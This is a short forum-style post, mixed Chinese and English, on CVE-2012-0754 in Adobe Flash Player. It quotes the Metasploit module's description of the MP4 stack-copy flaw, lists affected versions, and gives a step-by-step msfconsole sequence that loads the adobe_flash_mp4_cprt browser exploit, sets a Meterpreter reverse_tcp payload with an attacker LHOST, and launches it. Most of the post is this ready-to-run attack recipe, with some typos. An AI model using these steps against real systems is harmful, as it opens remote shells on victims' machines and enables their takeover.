[CVE-2012-0754]Flash Player on Metasploit<11.1.105.55 Remote code Execution>
Adobe Flash Player 新安全漏洞【Not vulnerable】
Adobe Flash Player 11.1.115.6
Adobe Flash Player 11.1.111.6
Adobe Flash Player 11.1.102.6
【README - Metasploit Modules】
This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx component. When processing a MP4 file (specifically the Sequence Parameter Set), Flash will see if pic_order_cnt_type is equal to 1, which sets the num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in offset_for_ref_frame on the stack, which allows arbitrary remote code execution under the context of the user.
【modules】
abobe_flash_mp4_cprt
【command】
msfupdate && msfconsole
serach adobe_mp4
use exploit/windows/browser/adobe_flash_mp4_cprt
show options
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST MY_IP
set URIPATH /
exploit
【supportate】
页:
[1]